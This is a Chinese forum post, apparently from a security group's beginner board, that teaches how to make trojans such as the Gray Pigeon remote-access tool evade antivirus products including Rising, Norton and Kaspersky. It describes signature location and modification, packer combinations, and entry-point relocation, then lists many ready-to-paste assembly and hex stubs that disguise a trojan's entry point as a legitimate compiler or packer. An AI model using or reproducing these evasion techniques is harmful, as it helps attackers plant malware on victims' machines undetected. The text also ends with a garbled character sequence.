原理:因为目前的内存查杀杀毒软件,只有瑞星才能威胁到我们的木马。也就是说只要搞定瑞星的内存查杀,那我们的木马在内存就畅通无阻了. 但由于技术原因,目前瑞星的内存特征码在90%以上把字符串作为病毒特征码,
这样对我们的定位和修改带来了方便.

操作步骤:
第一步:首先用特征码定位器大致定位出瑞星内存特征码位置.
第二步:然后用UE打开,找到这个大致位置,看看,哪些方面对应的是字符串,用0替换后再用内存查杀进行查杀.直到找到内存特征码后,只要把字符串的大小写互换就能达到内存免杀效果.

绝技三:如何快速躲过诺顿的查杀
诺顿的查杀特点:大家有时候会发现,通过改特征码,加花指令,改内存特征码,等等,卡巴,江民,金山,瑞星都过了,但无论如何都过不了诺顿,这时候是不是感到很纳闷.其实诺顿特征码的定义和其它杀毒软件不一样,其它杀毒软件的特征码都在代码段而只有它把特征码定义在PE头文件里面.而在头文件里面,一般都用字符串作为病
毒特征码,知道了原理,就有下面的二种方法来应付.

方法一:只要把头文件的字符串的大小字互换一下就可以搞定了.
方法二:有二款压缩软件WinUpack和北斗星,经过他们的压缩,会把我们的木马程序的头文件改的面目全非.所以把我们的木马做好其它的杀毒软件的免杀后,再用这二款压缩软件的压缩就可以躲过诺顿的查杀.

绝技四:一个不太通用的免杀方法
免杀方法一:把入口点第三句开始的几行(20字节内)汇编代码移到零区域去执行,也达到一定的免杀效果.

绝技五:用VC++加了花指令后入口点下移法
操作过程:加花指令后,可以把入口点下移好一位,这样可以进一步达到免杀效果.

一.木马免杀综合方案

修改内存特征码--->1>入口点加1免杀法 1>加压缩壳1>--->再加壳或多重加壳
2>变化入口地址免杀法 2>加生僻壳--->2>加壳的伪装.
3>加花指令法免杀法 3>加压缩壳3>--->打乱壳的头文件
4>修改文件特征码免杀法
以上免杀方法可以自由组合成多种不同的免杀方案。

二.常用免杀方案
1.实例完全免杀方案一:
内存特征码修改+加UPX壳+秘密行动打乱壳的头文件。
所需工具:UPX加壳工具,秘密行动
2.完全免杀方案二:
内存特征码修改+加花指令+加压缩壳
3.完全免杀方案三:
内存特征码修改+加压缩壳+加壳的伪装或多重加壳
4.完全免杀方案四:
内存特征码修改+去头变换入口点地址+压缩壳
5.完全免杀方案五:
内存特征码修改+修改各种杀毒软件特征码+压缩壳
6.完全变态免杀方案六:
内存特征码修改+加花指令+去头变换入口点+加UPX壳+用秘密行动打乱壳的头
文件

三.解决加花指令后运行出错问题

1.分析其原因:我们加花指令时,一般都找代码段最后面的空白代码地方也就是所谓的零区域,然后把我们准备好的花指令填进去,然后一个跳转跳到入口点。但是我们木马的体积比较大,从入口点到最后面零区域的间隔比较远,所以从低部跳到头部由于间隔较远就非常容易出错。

3.新研究的免杀方法完美的解决了该问题:我把它取名为:中间过渡跳转法

实例演示:中间过渡跳转法来修改灰鸽子V1.22版或VIP2.0版。

中间过渡中转法实现原理:首先我们在代码段的中间位置,备份部分代码,然后把我们要添加的花指令写进去,写完后,再跳到零区域,在这个零区域填入刚才我们备份好的代码.填完后又要跳回填入花指令的生面.总之一句话:把花指令填在代码中间,被花指令覆盖的代码移到零区域去执行,然后又要跳回来.最后把入口点改成花指令的首地址.这样就算完事了.

4.该新的免杀技术优点:以前的花指令只能填到零区域,也就是说入口点一般都比较后面,所以有时会被卡巴查杀,但有了这种新方法后,程序入口点就变的非常灵活,可以定位在代码段的任何位置,每定位一个新的入口点就是一种新的免杀方案.而且这种方法对付卡巴也很有效.把入口点放到代码段的中间,是杀毒软件万万想不到的,所以免杀效果是最好的.同时他解决了由于跳转太远使程序无法运行的缺点,所以这种方法是相当完美的免杀方法.希望大家灵活运用
 
【深层】伪装 PEtite 2.2 -> Ian Luck  汇编代码:
============================
伪装代码部分:
============================

mov eax,0040E000
push 004153F3
push dword ptr fs:[0]
mov dword ptr fs:[0],esp
pushfw
pushad
push eax
xor ebx,ebx
pop eax
popad
popfw
pop dword ptr fs:[0]
pop eax
jmp XXXXXXXX        '执行到程序的原有OEP

============================

【深层】伪装 WCRT Library (Visual C++) DLL Method 1 -> Jibz  二进制代码 + 汇编代码:
============================
伪装代码部分:
============================

使用二进制粘贴以下代码:

55 8B EC 83 7D 0C 01 75 41 A1 C0 30 00 10 85 C0 74 0A FF D0 85 C0 75 04 6A FE EB 17 68 0C 30 00 10 68 08 30 00 10 E8 89 00 00 00 85 C0 59 59 74 08 6A FD FF 15 08 20 00 10 68 04 30 00 10 68 00 30 00 10 E8 52 00 00 00 59 59

粘贴完毕后,再添加2行汇编语句:

jmp XXXXXXXX        '执行到程序的原有OEP
retn 0C

1。伪装 vc

VC++程序的入口代码:
PUSH EBP                   
MOV EBP,ESP                 
PUSH -1                     
push 415448            -\___
PUSH 4021A8            -/  在这段代码中类似这样的操作数可以乱填     
MOV EAX,DWORD PTR FS:[0]         
PUSH EAX                   
MOV DWORD PTR FS:[0],ESP         
ADD ESP,-6C                 
PUSH EBX                   
PUSH ESI                   
PUSH EDI 
ADD BYTE PTR DS:[EAX],AL  /这条指令可以不要!
jmp 跳转到程序原来的入口点

******************************************************************************************

2。跳转

somewhere:           
    nop            /"胡乱"跳转的开始...
    jmp 下一个jmp的地址  /在附近随意跳
    jmp ...          /...
    jmp 原入口的地址    /跳到原始oep

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
新入口: push ebp
    mov ebp,esp
    inc ecx
    push edx
    nop
    pop edx
    dec ecx
    pop ebp
    inc ecx
    loop somewhere    /跳转到上面那段代码地址去!


3. 伪装 C
融合
把A的代码换成B的
push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 老入口

4. c ++
push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax


5.Microsoft Visual C++ 6.0
PUSH -1
PUSH 0
PUSH 0
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,68
PUSH EBX
PUSH ESI
PUSH EDI
POP EAX
POP EAX
POP EAX
ADD ESP,68
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
POP EAX
POP EAX
MOV EBP,EAX
JMP 原入口

6.
在mov ebp,eax
后面加上
PUSH EAX
POP EAX

7:
防杀精灵一号防杀代码:
push ebp
mov ebp,esp
push -1
push 666666
push 888888
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 入口

8:
防杀精灵二号防杀代码:
push ebp
mov ebp,esp
push -1
push 0
push 0
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
sub esp,68
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp,68
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 入口

9.
防杀精灵终极防杀代码
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
push eax
jmp入口

10:
木马彩衣(金色鱼锦衣)花代码
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
mov eax,原入口
push eax
retn

11:
木马彩衣(虾米披风)花代码
push ebp
nop
nop
mov ebp,esp
inc ecx
nop
push edx
nop
nop
pop edx
nop
pop ebp
inc ecx
loopd /跳转到下面那段代码地址去!

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
nop            /"胡乱"跳转的开始...
jmp 下一个jmp的地址  /在附近随意跳
jmp ...          /...
jmp 原入口的地址    /跳到原始oep

12.
VC++5.0代码(木马彩衣无限复活袍):
PUSH EBP                               
MOV EBP,ESP                           
PUSH -1                               
push 415448                  -\___
PUSH 4021A8                  -/  在这段代码中类似这样的操作数可以乱填         
MOV EAX,DWORD PTR FS:[0]               
PUSH EAX                               
MOV DWORD PTR FS:[0],ESP               
ADD ESP,-6C                           
PUSH EBX                               
PUSH ESI                               
PUSH EDI   
ADD BYTE PTR DS:[EAX],AL  /这条指令可以不要!
jo 00401000                /原入口
jno 00401000              /原入口
db 0e8h                    /花代码



xxxxxx:          nop            \
  /|\              POP EAX        |看了,其实这两部分就是花指令
  |              POP EAX        | 
  |              POP EAX        / 
  |              JMP yyyyyy  (跳回旧入口点:00100016DB )
  |
  |
  |                push ebp          <-新入口点:               
  |                mov ebp,esp
  |                inc ecx
  |                push edx
  |                nop
  |                pop edx
  |                dec ecx
  |                pop ebp
  |            inc ecx
  |            MOV DWORD PTR FS:[0],EAX    \
  |                POP EAX                    |
  |                POP EAX                    \
  |                MOV DWORD PTR FS:[0],EAX    |(注意了。。花指令)
  |                POP EAX                    /
  |                POP EAX                    |
  |                MOV DWORD PTR FS:[0],EAX    /
  |                loop xxxxxx (这里我向上跳~地址也是自己选的~~)   
  |_________________++++++(转到地址:100036c3 往回跳)


--------------------------------------------------------------
代码如下: 神话
nop
nop
nop
mov ebp,esp
push -1
push 111111
push 222222
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
pop eax
mov dword ptr fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
mov eax,原入口
push eax
retn


代码如下: 无极
nop
mov    ebp, esp
push    -1
push    0A2C2A
push    0D9038
mov    eax, fs:[0]
push    eax
mov    fs:[0], esp
pop    eax
mov    fs:[0], eax
pop    eax
pop    eax
pop    eax
pop    eax
mov    ebp, eax
mov    eax, 原入口
jmp    eax

代码如下: 金刚
nop
nop
mov    ebp, esp
push    -1
push    415448
push    4021A8
mov    eax, fs:[0]
push    eax
mov    fs:[0], esp
add    esp, -6C
push    ebx
push    esi
push    edi
add    [eax], al
mov    eax,原入口
jmp    eax

代码如下: 杀破浪
nop
mov    ebp, esp
push    -1
push    0
push    0
mov    eax, fs:[0]
push    eax
mov    fs:[0], esp
sub    esp, 68
push    ebx
push    esi
push    edi
pop    eax
pop    eax
pop    eax
add    esp, 68
pop    eax
mov    fs:[0], eax
pop    eax
pop    eax
pop    eax
pop    eax
mov    ebp, eax
mov    eax, 原入口
jmp    eax

代码如下: 痴情大圣
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push    ebp
mov    ebp, esp
add    esp, -0C
add    esp, 0C
mov    eax, 原入口
push    eax
retn

代码如下: 如果*爱
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push    ebp
mov    ebp, esp
inc    ecx
push    edx
nop
pop    edx
dec    ecx
pop    ebp
inc    ecx
mov    eax, 原入口
jmp    eax

--------------------------------------------------------
灰鸽子万能文件捆绑器 VIP2005 -> 葛军 *

push ebp
mov ebp,esp
add esp,-124
push ebx
push esi
push edi
xor eax,eax
mov dword ptr ss:[ebp-124],eax
jmp 入口

----------------------------------------------------------
PUSH EBP                               
MOV EBP,ESP                           
MOV EAX,0                             
PUSH EAX                               
CALL 下个指令 ↓                       
POP EAX                               
SUB EAX,0                             
MOV ECX,0                             
MOV EDX,0                             
MOV ESI,0                             
MOV EDI,0                             
MOV EBP,0                             
ADD EBP,EAX                           
POP EAX                               
POP EAX                               
POP EAX                               
POP EAX                               
POP EBP                               
PUSH 入口点                               
RETN
----------------------------------------------------------------
//Borland Delphi 6.0 - 7.0

PUSH EBP                               
MOV EBP,ESP                           
MOV ECX,6                             
PUSH 0  下面那个跳到这里                             
PUSH 0                                 
DEC ECX                               
JNZ 往回跳                   
PUSH EBX                               
PUSH ESI                               
PUSH EDI
POP  EDI
POP  ESI
POP  EBX
JMP  入口点
-----------------------------------------------------------------
push ebp
mov ebp,esp
inc edx
nop
pop edx
dec ecx
pop ebp
inc ecx
jmp 入口点
-----------------------------------------------------------------
push ebp
mov ebp,esp
push ebx
mov ebx,dword ptr ss:[ebp+8]
push esi
mov esi,dword ptr ss:[ebp+C]
push edi
mov edi,dword ptr ss:[ebp+10]
test esi,esi
jmp 入口
-----------------------------------------------------------------
0046D4BA                  pop eax
0046D4BB                  sub eax,7D
0046D4C0                  push eax
0046D4C1    C3            retn
0046D4C2                  call 截�D��件.0046D4BA


地主 发表时间: 10-09-07 22:52

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号